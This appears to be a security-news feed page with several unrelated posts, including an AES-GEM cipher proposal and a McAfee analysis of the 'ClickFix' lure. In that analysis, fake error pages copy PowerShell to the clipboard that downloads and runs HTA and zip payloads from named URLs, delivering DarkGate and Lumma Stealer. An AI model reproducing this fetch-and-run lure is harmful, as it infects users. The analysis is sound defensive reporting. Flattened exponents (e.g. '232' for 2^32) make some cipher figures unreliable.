Normal view

There are new articles available, click to refresh the page.
Today — 14 July 2024Main stream
Before yesterdayMain stream

Announcing AES-GEM (AES with Galois Extended Mode)

12 July 2024 at 13:00

By Scott Arciszewski

Today, AES-GCM is one of two cipher modes used by TLS 1.3 (the other being ChaCha20-Poly1305) and the preferred method for encrypting data in FIPS-validated modules. But despite its overwhelming success, AES-GCM has been the root cause of some catastrophic failures: for example, Hanno Böck and Sean Devlin exploited nonce misuse to inject their Black Hat USA slide deck into the MI5 website.

Security researchers have been sounding the alarm about AES-GCM’s weaknesses for years. Nineteen years ago, Niels Ferguson submitted a paper to a NIST project on block cipher modes outlining authentication weaknesses in AES-GCM (although NIST would ultimately standardize it). And earlier this year, Amazon published a paper that detailed practical challenges with AES-GCM and posited that AES’ 128-bit block size is no longer sufficient, preferring a 256-bit block cipher (i.e., Rijndael-256).

To address these issues, I propose a new block cipher mode called Galois Extended Mode (GEM for short), which I presented last month at the NIST workshop on the requirements for an accordion mode cipher. AES-GEM improves the security of GCM in every dimension with minimal performance overhead.

Important: The current design for AES-GEM is not ready for production use, as some details will likely change in the future. To understand the current design, let’s start by understanding where AES-GCM falls short, and then discuss how we can do better with GEM.

How AES works

Before we dive in, it may be helpful for some readers to explain some of the terms and concepts used throughout this blog post.

AES (Advanced Encryption Standard) is a block cipher widely used to encrypt information. It supports multiple key sizes (128-, 192-, and 256-bit keys) but always operates on 128-bit blocks. AES is the standardized form of the Rijndael family of block ciphers. Rijndael supports other block sizes than 128-bit, but only the 128-bit blocks were standardized by NIST. Modern processors provide dedicated hardware instructions for accelerating AES operations, but the AES key schedule can still negatively impact performance.

ECB (Electronic Code Book) mode is the absence of a block cipher mode of operation. It involves computing the block cipher directly on a block of data. ECB mode is not semantically secure, as many cryptographers have demonstrated. For improved security, block ciphers like AES are typically used with a mode of operation. (If not, they almost certainly should be. Get in touch with our cryptography team if you think you’re using ECB to encrypt sensitive data.)

CTR (Counter Mode) is a mode of operation for block ciphers wherein an increasing sequence of values is encrypted with the block cipher to produce a pseudorandom keystream. To encrypt data, simply calculate the XOR of each plaintext byte with each corresponding keystream byte.

GCM (Galois/Counter Mode) is a block cipher mode of operation that provides authenticated encryption. It is what cryptographers call an AEAD mode: Authenticated Encryption with Additional Data. GCM can provide confidentiality for sensitive data and integrity for both sensitive and public data.

AEAD modes are important for designing cryptosystems that are resilient to attackers who attempt to mutate encrypted data in order to study the system’s behavior in hopes of learning something useful for cryptanalysis.

GCM is a composite of Counter Mode (CTR) for encrypting the plaintext and a Galois field Message Authentication Code (GMAC), which authenticates the ciphertext (and, if provided, additional associated data). GMAC is defined with a function called GHASH, which is a polynomial evaluated over the authenticated data. The output of GHASH is XORed with an encrypted block to produce the final authentication tag. The authentication key, called H, is calculated by encrypting a sequence of 128 zeroed bits.

POLYVAL is an alternative to GHASH that is used in AES-GCM-SIV. The irreducible polynomial used by POLYVAL is the reverse of GHASH’s irreducible polynomial.

Many cipher modes (including GCM and CTR) require a number that is used only once for each message. This public number that should never be repeated is called a nonce.

Finally, the birthday bound is a concept from probability theory that indicates the likelihood of collisions in a set of random values. In cryptography, it implies that if nonces are selected randomly, the probability of two nonces colliding increases significantly as more nonces are used. For AES-GCM with 96-bit nonces, after about 232 messages, there’s a 1 in 232 chance of a nonce collision, which can lead to security vulnerabilities such as the ability to forge messages.

Practical challenges with AES-GCM today

The biggest challenge with AES-GCM, as others have pointed out, is that AES only has a 128-bit block size. This has two primary consequences:

  1. The size of the public nonce and internal counter is constrained to a total of 128 bits. In practice, the nonce size is usually 96 bits, and the counter is 32 bits. If a larger nonce is selected, it is hashed down to an appropriate size, which has little improvement on security. If you ever reuse a nonce, you leak the authentication subkey and can, therefore, forge messages indefinitely.
  2. Above a certain number of blocks encrypted under the same key, an attacker can distinguish between ciphertext and random bytes with significant probability.

When you understand that we’re dealing with powers of two, 96 bits of nonce space may sound like a lot, but if you’re selecting your nonces randomly, you can encrypt only 232 messages before you have a 2-32 probability of a collision. Using a cipher with a larger block size would alleviate this pain point, but it’s not the only way to fix it.

The AES block size is not the only problem with AES-GCM in practice. As Niels Ferguson pointed out in 2005, a successful forgery against short tags reveals the authentication subkey.

Further, we also learned that AES-GCM has an unexpected property where multiple keys can decrypt the same ciphertext + authentication tag. Its discoverers referred to this problem as Invisible Salamanders because it allowed them to hide a picture of a salamander from an abuse-reporting tool in an encrypted messaging application. Mitigating against Invisible Salamanders in a protocol that uses AES-GCM requires some one-way commitment of the key used.

Finally, the maximum plaintext length for a single message in AES-GCM is relatively small: just below 64 GiB. In order to cope with this maximum length, software often decomposes larger messages into shorter frames that fit within this length constraint. This leads to the limited nonce space before the birthday bound being used up much more quickly than if longer messages were tolerable.

Introducing AES-GEM

Our proposal, Galois Extended Mode, is a modification of GCM (Galois/Counter Mode) that currently addresses most of these weaknesses. However, there is still an open question about which tactic we want to employ to mitigate the last pain point, which I will explain momentarily.

At a high level, we propose two variants: AES-128-GEM and AES-256-GEM. We also specify two AEAD constructions using the standard AEAD interface.

AES-128-GEM

  • Key length: 128 bits
  • Subkey length: 128 bits
  • Nonce length: 192 bits
  • Maximum plaintext length: 261 – 1 bytes
  • Maximum AAD length: 261 – 1 bytes
  • Tag length: 48 bytes (AEAD) or 16 bytes (without commitment)

AES-256-GEM

  • Key length: 256 bits
  • Subkey length: 256 bits
  • Nonce length: 256 bits
  • Maximum plaintext length: 261 – 1 bytes
  • Maximum AAD length: 261 – 1 bytes
  • Tag length: 48 bytes (AEAD) or 16 bytes (without commitment)

The road from GCM to GEM

If you start with the existing design for AES-GCM and make the following changes, you will arrive at the current draft for GEM.

Nonce extension

First, we need a longer nonce, which we will use for subkey derivation in the next step.

For 256-bit keys, a 256-bit nonce is a nice round number. For 128-bit keys, we end up needing 192 bits.

In either case, the rightmost 64 bits will be reserved for the actual underlying encryption. The remaining bits (192 bits for AES-256, 128 bits for AES-128) are to be used for subkey derivation.

This allows us to amortize the cost of the key derivation and set up an AES key schedule across multiple messages, provided the first (n – 64) bits of the nonce and key are the same.

Subkey derivation

There are multiple strategies for using AES for key derivation. At Real World Cryptography 2024, Shay Gueron presented DNDK-GCM, which uses an interesting construction to achieve subkey derivation.

We want to keep things simple and well-understood. Consequently, we based our key derivation strategy on CBC-MAC since CMAC is already an FIPS-approved MAC (i.e., for AES-CCM).

In the case of AES-256, we use two CBC-MAC outputs to derive a 256-bit subkey. However, this approach has one subtly annoying property: The two halves will never produce the same output, so there are, strictly speaking, fewer than 2256 possible outputs.

In both variants of GEM, we borrow a trick from Salsa20’s design: XOR the output with the input key to ensure the subkey is indistinguishable from uniformly random to any attacker who doesn’t know the input key. If you don’t know this key, the output is indistinguishable from a random key of the appropriate length.

Support for longer messages

The reason we needed 64 bits of leftover nonce, rather than 96 as would be typical for GCM, is that our internal counter size is not 32 bits long. It is, instead, 64 bits long.

Otherwise, as currently written, GEM behaves identically to what you’d expect from GCM: It uses counter mode for bulk data encryption. Let’s put a pin in that and revisit it in a moment.

Improved authentication security

Our incumbent design, AES-GCM, is constructed in the following way:

  1. Derive an authentication subkey, H, by encrypting an all-cleared block with the key.
  2. Calculate GHASH() of the ciphertext, associated data, and a block containing the lengths of both segments (in bits).
  3. XOR the output of step 2 with the AES-CTR encryption of a counter block.

Our design is mostly the same, but with an important tweak:

  1. Derive an authentication subkey, H, by encrypting an all-set block with the subkey.
  2. Calculate GHASH() of the ciphertext, associated data, and a block containing the lengths of both segments (in bits).
  3. Encrypt the output of step 2 with AES-ECB, using the input key.
  4. XOR the output of step 3 with the AES-CTR encryption of a counter block.

Step 3 directly addresses the weaknesses that Niels Ferguson identified with AES-GCM in 2005. The other changes are implementation details.

This tweak offers better security for short tags since the AES encryption of the raw GHASH output bits is a nonlinear transformation that is not invertible without the key. We use the input key rather than the subkey since the only other place the input key is used to encrypt data (i.e., subkey derivation) is never directly revealed.

Key commitment

Before we tackle GEM’s protection against Invisible Salamander-style attacks, we need to analyze some other subtleties of the design.

The component lengths in the final block for both GCM and GEM are both expressed in terms of bits, not bytes, and are restricted to 264 each. This means that, even though GEM could theoretically allow up to 264 blocks (or 268 bytes) of plaintext per message due to its internal counter, we would have to tweak the final GHASH step to accommodate this extra overhead.

Instead of doing that, the unreachable values for the internal counter are reserved for the cipher’s internal use. Specifically, the internal counter values that end in 0x02000000 00000000 through 0xFFFFFFFF FFFFFFFF cannot be reached while respecting this 261 – 1 byte limit on the plaintext.

The all-set block (0xFFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF) is already used in GEM for the authentication subkey, while the 64-bit trailing nonce + 0xFFFFFFFF 0xFFFFFFFE is used for the counter block, for the final authentication tag calculation.

To provide key commitment, the next two blocks down, the nonce + 0xFFFFFFFF 0xFFFFFFFC and 0xFFFFFFFF 0xFFFFFFFD will serve as a commitment value for the key and nonce.

We specify two blocks because using one AES block here is not sufficient. Consider the case of AES-256, which has 256-bit keys and 128-bit blocks: by the pigeonhole principle, we expect there to be 2128 different keys that will map a given fixed plaintext value into a fixed ciphertext value. Therefore, a single block is not sufficient for commitment. However, no such pigeonhole consideration is necessary for two successive blocks, assuming the block cipher is secure.

In this way, we can quickly generate a commitment value for a given key and nonce.

In the AEAD interface, the commitment is appended to the authentication tag. Both must be compared to their recomputed values, in constant-time, when decrypting messages.

AES-GEM’s performance characteristics

Although we’ve addressed most of GCM’s pain points, the actual performance impact of GEM is minimal.

AES-256-GEM:

  • Key derivation: four additional blocks of AES encryption, some XORs, one additional key schedule
  • Authentication: one additional block of AES encryption
  • Key commitment: two additional blocks of AES encryption

AES-128-GEM:

  • Key derivation: two additional blocks of AES encryption, some XORs, one additional key schedule
  • Authentication: one additional block of AES encryption
  • Key commitment: two additional blocks of AES encryption

Since AES is very fast these days due to hardware acceleration, this performance impact should be mostly unnoticeable in all but the most performance-sensitive of applications. In those cases, the key derivation performance cost can be amortized across up to 232 different messages if the derived subkey is cached.

Polishing AES-GEM

There is one final issue that the current draft of GEM does not sufficiently address, but we hope to discuss this issue at the NIST workshop and will certainly address it in the final design.

Although our draft GEM construction allows for longer messages than GCM, the AES block size makes it risky to use as-is. The primary concern is that encrypting a very long message would give an attacker a significant advantage in distinguishing AES-GEM ciphertexts from sequences of random bytes. (This is one of the concerns raised in Amazon’s 2024 paper.)

There are a few ways we can polish GEM to address this weakness, which have different performance characteristics and trade-offs.

Wide block PRPs

Over the years, many cryptographic designs have used wide block PRPs, such as AES in XTS mode, to securely encrypt more than the AES block size would normally allow. Since XTS is widely used in disk encryption, this method would likely prove secure.

However, XTS mode is not currently standardized for use cases aside from disk encryption.

Hierarchical key derivation

What if, instead of using the subkey directly, we used the upper 32 bits of the internal counter to select a different value from the reserved nonce space, encrypt that, and derive a new subkey every 236 bytes? Then, we encrypt using this subkey for only the remaining 32 bits of the counter, which is analogous to what AES-GCM has been doing for decades.

This sub-subkey derivation could be constructed similarly to the key commitment:

  • For AES-256-GEM, encrypt 32 bytes derived from the reserved nonce space, and use these as the actual CTR key.
  • For AES-128-GEM, encrypt 16 bytes derived from the reserved nonce space (but a distinct nonce space from what AES-256-GEM would select), and use it as the actual underlying CTR key.

This is an attractive option for multiple reasons. Most importantly, this tactic would sidestep the PRP distinguisher problem in a very direct way. It also doesn’t depend on any non-standard designs (like XTS mode). You could build the whole thing with FIPS approved components, as we did with the rest of our draft design for AES-GEM.

The downside? This approach does incur yet another key schedule, every 236 bytes of plaintext. This probably still amortizes well, but is worth keeping in mind.

Total performance cost of AES-GEM with hierarchical key derivation

AES-256-GEM:

  • Key derivation: four additional blocks of AES encryption, some XORs, one additional key schedule
  • Additional key derivation every 236 bytes of plaintext: two additional blocks of AES encryption, one additional key schedule
  • Authentication: one additional block of AES encryption
  • Key commitment: two additional blocks of AES encryption

Total additional overhead for a 1 GB plaintext: seven blocks of AES-256, two additional AES-256 key schedules

Total additional overhead for a 1 TB plaintext: 37 blocks of AES-256, 17 additional AES-256 key schedules

AES-128-GEM:

  • Key derivation: two additional blocks of AES encryption, some XORs, one additional key schedule
  • Additional key derivation every 236 bytes of plaintext: one additional block of AES encryption, one additional key schedule
  • Authentication: one additional block of AES encryption
  • Key commitment: two additional blocks of AES encryption

Total additional overhead for a 1 GB plaintext: five blocks of AES-128, two additional AES-128 key schedules

Total additional overhead for a 1 TB plaintext: 21 blocks of AES-128, 17 additional AES-128 key schedules

Other ideas

There may be yet another option that we haven’t imagined yet. Finding the best trade-off, especially when considering hardware design, is one reason why we’re presenting GEM at the NIST workshop.

Cutting the GEM

The IETF’s CFRG is currently discussing an RFC draft for a modified variant of AES-GCM that is secure for short tags, called GCM-SST. Their design uses POLYVAL rather than GHASH, for performance reasons, and uses a second authentication key (Q) with a second POLYVAL, which is all XORed together.

Unsurprisingly, this additional XOR doesn’t significantly protect against the weakness of short tags in AES-GCM (although it does make the usual attack more expensive).

Our initial design for GEM uses the AES block cipher to permute the GHASH output rather than simply introducing an additional linear operation (XOR) to the polynomial output.

We are interested in partnering with other industry leaders to deliver a variant of GEM that emphasizes the short tag use case (i.e., WebRTC). This hypothetical variant (CUT-GEM, tentatively) could use POLYVAL instead of GHASH and use an epoch-based subkey derivation schedule to reduce the performance hit on each packet.

Where can I learn more about AES-GEM?

More information about AES-GEM is available on our GitHub!

Supercharge your datacenters with Hyper-V and virtualized GPUs

Windows Server 2025 is the most secure and performant release yet! Download the evaluation now!

Looking to migrate from VMware to Windows Server 2025? Contact your Microsoft account team!

The 2024 Windows Server Summit was held in March and brought three days of demos, technical sessions, and Q&A, led by Microsoft engineers, guest experts from Intel®, and our MVP community. For more videos from this year’s Windows Server Summit, please find the full session list here.

 

This article talks about virtualized GPUs with Hyper-V in Windows Server 2025.

 

Supercharge your datacenters with Hyper-V and virtualized GPUs

This session will dive into new GPU features on Windows Server and Azure Stack HCI, including GPU failover clustering and GPU partitioning (GPU-P). GPU-P, or GPU virtualization, is a new feature that allows users to share a physical GPU-P device with multiple virtual machines. With GPU-P, each virtual machine (VM) gets a dedicated portion of the GPU capacity instead of the entire GPU. This translates into more cost efficiency for your organization as you can assign GPU resources where needed. Join us as we share more on this new feature and run through multiple exciting demos.

 

ClickFix Deception: A Social Engineering Tactic to Deploy Malware

11 July 2024 at 19:51

Authored by Yashvi Shah and Vignesh Dhatchanamoorthy

McAfee Labs has discovered a highly unusual method of malware delivery, referred to by researchers as the “Clickfix” infection chain. The attack chain begins with users being lured to visit seemingly legitimate but compromised websites. Upon visiting, victims are redirected to domains hosting fake popup windows that instruct them to paste a script into a PowerShell terminal.

The “ClickFix” infection chain represents a sophisticated form of social engineering, leveraging the appearance of authenticity to manipulate users into executing malicious scripts. These compromised websites are often carefully crafted to look genuine, increasing the likelihood of user compliance. Once the script is pasted and executed in the PowerShell terminal, it allows the malware to infiltrate the victim’s system, potentially leading to data theft, system compromise, or further propagation of the malware.

We have observed malware families such as Lumma Stealer and DarkGate leveraging this technique. Here is the heatmap showing the distribution of users affected by the “Clickfix” technique:

Figure 1:Prevalence for the last three months

Darkgate ingesting via “ClickFix”

DarkGate is a sophisticated malware known for its ability to steal sensitive information, provide remote access, and establish persistent backdoors in compromised systems. It employs advanced evasion tactics and can spread within networks, making it a significant cybersecurity threat.
McAfee Labs obtained a phishing email from the spamtrap, having an HTML attachment.

Figure 2: Email with Attachment

The HTML file masquerades as a Word document, displaying an error prompt to deceive users. This tactic is used to trick users into taking actions that could lead to the download and execution of malicious software.

Figure 3: Displays extension problem issue

As shown, the sample displays a message stating, “The ‘Word Online’ extension is NOT installed in your browser. To view the document offline, click the ‘How to fix’ button.”

Before clicking on this button, let’s examine the underlying code. Upon examining the code, it was discovered that there were several base64-encoded content blocks present. Of particular significance was one found within the <Title> tag, which played a crucial role in this scenario.

Figure 4: HTML contains Base64-encoded content in the title tag

Decoding this we get,

Figure 5: After decoding the code

The decoded command demands PowerShell to carry out malicious activities on a system. It starts by downloading an HTA (HTML Application) file from the URL https://www.rockcreekdds.com/wp-content/1[.]hta and saves it locally as C:\users\public\Ix.hta.

The script then executes this HTA file using the start-process command, which initiates harmful actions on the system. Additionally, the script includes a command (Set-Clipboard -Value ‘ ‘) to clear the contents of the clipboard. After completing its tasks, the script terminates the PowerShell session with exit.

Upon further inspection of the HTML page, we found a javascript at the end of the code.

Figure 6: Decoding function snippet

This JavaScript snippet decodes and displays a payload, manages modal interactions for user feedback, and provides functionality for copying content to the clipboard upon user action.

In a nutshell, clicking on the “How to fix” button triggers the execution of JavaScript code that copies the PowerShell script directly onto the clipboard. This script, as previously discussed, includes commands to download and execute an HTA file from a remote server.

Let’s delve into it practically:

Figure 7: Clipboard contains malicious command

The attackers’ additional instruction to press Windows+R (which opens the Run dialog) and then press CTRL+V (which pastes the contents from the clipboard) suggests a social engineering tactic to further convince the user to execute the PowerShell script. This sequence of actions is intended to initiate the downloaded script (likely stored in the clipboard) without the user fully understanding its potentially malicious nature.

Once the user does this, the HTA file gets downloaded.

Figure 8: HTA code snippet

The above file attempts to connect to the marked domain and execute a PowerShell file from this malicious source. Given below is the malicious script that is stored remotely and executed.

Figure 9: Powershell code snippet

As this PowerShell script is executed implicitly without any user interaction, a folder is created in the C drive where an AutoIt executable and script are dropped and executed automatically.

Figure 10: Downloaded zip contains AutoIT script

Following this, DarkGate begins its malicious activity and starts communicating with its command and control (C2) server.

A similar Clickfix social engineering technique was found to be dropping Lumma Stealer.

Lumma Stealer ingesting via “ClickFix”

McAfee Labs discovered a website displaying an error message indicating that the browser is encountering issues displaying the webpage. The site provides steps to fix the problem, which are designed to deceive users into executing malicious actions.

Figure 11: Showing error on accessing the webpage

It directs the target user to perform the following steps:

  1. Click on the “Copy Fix” button.
  2. Right-click on the Windows icon.
  3. Open Windows PowerShell (Admin).
  4. Right-click within the open terminal window.
  5. Wait for the update to complete.

Let’s analyze the code that gets copied when clicking the “Copy Fix” button.

Figure 12: Base64-encoded content

As we can see, the code includes base64-encoded content. Decoding this content, we get the following script:

Figure 13: After decoding the Base64 content

This PowerShell script flushes the DNS cache and then decodes a base64-encoded command to fetch and execute a script from a remote URL https://weoleycastletaxis.co.uk/chao/baby/cow[.]html, masquerading the request with a specific User-Agent header. The fetched script is then executed, and the screen is cleared to hide the actions. Subsequently, it decodes another base64 string to execute a command that sets the clipboard content to a space character. The script is likely designed for malicious purposes, such as downloading and executing remote code covertly while attempting to hide its activity from the user.

Upon execution, the following process tree flashes:

Figure 14: Process Tree

As we know it is downloading the malware from the given URL, a new folder is created in a Temp folder and a zip is downloaded:

Figure 15: Network activity

The malware is unzipped and dropped in the same folder:

Figure 16: Dropped files

The malware starts communicating with its C2 server as soon as it gets dropped in the targeted system.

Conclusion:

In conclusion, the Clickfix social engineering technique showcases a highly effective and technical method for malware deployment. By embedding base64-encoded scripts within seemingly legitimate error prompts, attackers deceive users into performing a series of actions that result in the execution of malicious PowerShell commands. These commands typically download and execute payloads, such as HTA files, from remote servers, subsequently deploying malware like DarkGate and Lumma Stealer.

Once the malware is active on the system, it begins its malicious activities, including stealing users’ personal data and sending it to its command and control (C2) server. The script execution often includes steps to evade detection and maintain persistence, such as clearing clipboard contents and running processes in minimized windows. By disguising error messages and providing seemingly helpful instructions, attackers manipulate users into unknowingly executing harmful scripts that download and run various kinds of malware.

Mitigations:

At McAfee Labs, we are committed to helping organizations protect themselves against sophisticated cyber threats, such as the Clickfix social engineering technique. Here are our recommended mitigations and remediations:

  1. Conduct regular training sessions to educate users about social engineering tactics and phishing schemes.
  2. Install and maintain updated antivirus and anti-malware software on all endpoints.
  3. Implement robust email filtering to block phishing emails and malicious attachments.
  4. Use web filtering solutions to prevent access to known malicious websites.
  5. Deploy firewalls and intrusion detection/prevention systems (IDS/IPS) to monitor and block malicious network traffic.
  6. Use network segmentation to limit the spread of malware within the organization.
  7. Enforce the principle of least privilege (PoLP) to minimize user access to only necessary resources.
  8. Implement security policies to monitor and restrict clipboard usage, especially in sensitive environments.
  9. Implement multi-factor authentication (MFA) for accessing sensitive systems and data.
  10. Ensure all operating systems, software, and applications are kept up to date with the latest security patches.
  11. Continuously monitor and analyze system and network logs for signs of compromise.
  12. Encrypt sensitive data both in transit and at rest to protect it from unauthorized access.
  13. Regularly back up important data and store backups securely to ensure data recovery in case of a ransomware attack or data breach.

Indicators of Compromise (IoCs)

File SHA256
DarkGate
Email c5545d28faee14ed94d650bda28124743e2d7dacdefc8bf4ec5fc76f61756df3
Html 0db16db812cb9a43d5946911501ee8c0f1e3249fb6a5e45ae11cef0dddbe4889
HTA 5c204217d48f2565990dfdf2269c26113bd14c204484d8f466fb873312da80cf
PS e9ad648589aa3e15ce61c6a3be4fc98429581be738792ed17a713b4980c9a4a2
ZIP 8c382d51459b91b7f74b23fbad7dd2e8c818961561603c8f6614edc9bb1637d1
AutoIT script 7d8a4aa184eb350f4be8706afb0d7527fca40c4667ab0491217b9e1e9d0f9c81
Lumma Stealer
URL tuchinehd[.]com
PS 07594ba29d456e140a171cba12d8d9a2db8405755b81da063a425b1a8b50d073
ZIP 6608aeae3695b739311a47c63358d0f9dbe5710bd0073042629f8d9c1df905a8
EXE e60d911f2ef120ed782449f1136c23ddf0c1c81f7479c5ce31ed6dcea6f6adf9

 

The post ClickFix Deception: A Social Engineering Tactic to Deploy Malware appeared first on McAfee Blog.

Checking in on the state of cybersecurity and the Olympics

11 July 2024 at 18:00
Checking in on the state of cybersecurity and the Olympics

With the 2024 Olympics’ Opening Ceremony only two weeks away now, there is one thing that’s an absolute guarantee of one thing happening during the traditionally unpredictable games: Cyber attacks. 

Every time there is a new Olympic Games, there’s a renewed discussion about how threat actors, hacktivists and state-sponsored groups are all gearing up to try to disrupt the games in some way. The Opening Ceremony at the 2018 Olympic Games in South Korea was disrupted by a major cyber attack called Olympic Destroyer, briefly pausing ticket-taking operations and taking down several Olympics-related websites. 

And for this year’s Summer Games, France faces an “unprecedented level of threat,” according to the head of the country’s cybersecurity agency.  

That’s because, in our modern day, there is just simply so much to protect. Ninety-nine percent of modern communication occurs over a network at this point, especially when you’re talking about an international event. That means protecting individual inboxes, mail servers, third-party messaging apps, virtual meetings and more. 

Each attendee of the games is going to bring in their own devices, too, and connect to whatever public network the Olympics stands up at the arenas or fields where competitions are taking place. That’s tens of thousands of new potential entry points for threat actors. 

There are also domains, subdomains, hosts, web applications and third-party cloud resources that the Games rely on, all with their own attack surfaces. 

A study from Outpost24 earlier this year found that the security for all these factors is stronger than when Russia hosted the 2018 FIFA World Cup, which came with a similar set of circumstances and popularity to the Olympics.  

Even if a threat actor isn’t successful in some widespread breach that makes international headlines, even smaller-scale threats and actors are just hoping to cause chaos.  

Last month, a fake AI-generated movie trailer seemed to show famous actor Tom Cruise condemning the International Olympic Committee in a fake documentary for Netflix. That made its rounds on Telegram, along with many threats around terrorist attacks in the hope of scaring attendees away and making the Games seem under-attended. 

Other actors are just looking to spread general misinformation, capitalizing on recent protests and elections in France to, in their mind, sow chaos in an already chaotic time for the country. 

France has been preparing for the bevy of threats with hundreds of penetration tests, tabletop exercises and, of course, partnering with Cisco to protect the Olympic Games.  

The one big thing 

Based on a comprehensive review of more than a dozen prominent ransomware groups, Talos identified several commonalities in tactics, techniques and procedures (TTPs), along with several notable differences and outliers. Talos’ studies indicate that the most prolific ransomware actors prioritize gaining initial access to targeted networks, with valid accounts being the most common mechanism. Phishing for credentials often precedes these attacks, a trend observed across all incident response engagements, consistent with our 2023 Year in Review report. Over the past year, many groups have increasingly exploited known and zero-day vulnerabilities in public-facing applications, making this a prevalent initial access vector. 

Why do I care? 

Key findings indicate that many of the most prominent groups in the ransomware space prioritize establishing initial access and evading defenses in their attack chains, highlighting these phases as strategic focal points. Within the past year, many groups have exploited critical vulnerabilities in public-facing applications, becoming a prevalent attack vector, which we addressed later, indicating an increased need for appropriate security controls and patch management. Ransomware actors also continue to apply a significant focus to defense evasion tactics to increase dwell time in victim networks. 

So now what? 

Our blog post includes several recommendations for how potential targets can protect against the TTPs these groups use. That includes consistently applying patches and updates to all systems and software to address vulnerabilities promptly and reduce the risk of exploitation and implement strong password policies that require complex, unique passwords for each account. Additionally, enforce multi-factor authentication (MFA) to add an extra layer of security. 

Top security headlines of the week 

  

Apple IDs are being targeted in a new SMS-based phishing scam. Security researchers say that adversaries are sending text messages to iPhone users in the U.S. disguised to look like they’re from Apple but actually intended to steal their Apple login credentials. The phishing messages are made to seem more legitimate with a fake CAPTCHA for users to complete. They are then directed to a malicious web page that looks like an older iCloud login page, where the targeted user is asked to enter their Apple ID. Apple IDs are valuable for attackers because they could allow them to log into the target’s iPhones and iPads, provide access to personal information, and allow the attacker to make unauthorized purchases. Apple warned users that they should be implementing MFA on their devices to ensure an adversary can’t use their credentials on an unknown device, or using Face ID or Touch ID to log into their devices. iPhone users are unlikely to ever receive text messages from Apple asking for their ID, but if they do, they should manually visit the desired website rather than clicking on a link in the message. (CBS News, Forbes

A newly discovered spyware may have been spying on military members across the Middle East for more than five years. The tool, called GuardZoo, appears to be created by Houthi-aligned actors in Yemen. GuardZoo is a custom Android surveillance tool that’s used to steal potentially valuable information and military intelligence, including documents, photos and data relating to troop locations. Infection of GuardZoo begins with a malicious link sent in a WhatsApp message. These phishing links lead to one of a variety of fake apps outside of the Google Play store, disguising themselves as a range of services including an app for reading the Quran, device location tracking, and other themes relating to the Yemen Armed Forces and Saudi Arabia’s Armed Forces Command and Staff College. GuardZoo managed to fly under the radar for several years because it was a modified version of the previously known Dendroid remote access trojan. Once on a device, GuardZoo immediately disables local logging and exfiltrates all of the victim’s files from the past seven years that are KMZ, WPT, RTE or TRK files, all of which relate to GPS and mapping apps. (Dark Reading, SC Media

The Australian government blamed a Chinese state-sponsored actor for being behind a series of cyber attacks and data breaches dating back to 2022. The group, known as APT40, is allegedly the perpetrator behind the theft of usernames and passwords from two unnamed Australian networks two years ago. A newly released report from the Australian Cyber Security Centre said APT40 conducts malicious cyber operations for China’s Ministry of State Security, the main agency in China in charge of foreign intelligence. The report says that the actor tries to steal sensitive information by infecting older, and sometimes even inactive, computers that are still connected to sensitive networks. Chinese authorities immediately denied the accusations. Intelligence agencies in Canada, New Zealand, the U.S. and the U.K. co-authored the report. New Zealand’s government previously accused APT40 of targeting its parliamentary services and counsel office in 2021 and stealing sensitive information. (NBC News, Voice of America

Can’t get enough Talos? 

Upcoming events where you can find Talos 

BlackHat USA (Aug. 3 – 8) 

Las Vegas, Nevada 

Defcon (Aug. 8 – 11) 

Las Vegas, Nevada 

BSides Krakow (Sept. 14)  

Krakow, Poland 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91
MD5: 7bdbd180c081fa63ca94f9c22c457376
Typical Filename: c0dwjdi6a.dll
Claimed Product: N/A
Detection Name: Trojan.GenericKD.33515991

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: 8a366b1d30dd4d03ad8c5c18d0fb978d00d16f5f465bd59db6e09b034775c3ec 
MD5: 4fca837855b3bced7559889adb41c4b7 
Typical Filename: UIHost32.exe 
Claimed Product: McAfee WebAdvisor 
Detection Name: Trojan.Miner.ED 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: 484c74d529eb1551fc2ddfe3c821a7a87113ce927cf22d79241030c2b4a4aa74
MD5: dc30cfd21bbb742c10e3621d5b506780
Typical Filename: [email protected]
Claimed Product: N/A
Detection Name: W32.File.MalParent

Using the CEH to create an ethical hacker career path

By: Infosec
11 July 2024 at 18:00

Infosec and Cyber Work Hacks are helping train the red teamers and blue teamers of tomorrow with our boot camps and study materials for the CEH exam. But how does ethical hacking proficiency translate into a satisfying career? Infosec’s CEH boot camp instructor Akyl Phillips has plenty of strategies to help you get focused and stay focused on your studies, some excellent tips for keeping on top of the latest security changes and innovations, and how you’re going to push past uncertainty and into the work of putting one foot in front of another in your quest to become a bona-fide, in-demand ethical hacker! Keep the enthusiasm up when you check out today’s Cyber Work Hack.

0:00 - Ethical hacker career
1:57 - Testing for the CEH certification
2:55 - Career paths to pursue with CEH certification
5:08 - Working in pentesting or ethical hacking
7:55 - Unglamours side of ethical hacking
9:49 - How to keep up with new tech
11:39 - Switching careers to ethical hacking
12:45 - Preparing for a CEH role interview
13:23 - Don't fear a cybersecurity career
15:03 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Announcing the CVRF API 3.0 upgrade

At the Microsoft Security Response Center, we are committed to continuously improving the security and performance of our services to meet the evolving needs of our customers. We are excited to announce the rollout of the latest version of our Common Vulnerability Reporting (CVRF) API. This update brings improvements in both security and performance, without requiring any changes to your existing invocation methods.

Geography Based Password Lists for enhanced password cracking success.

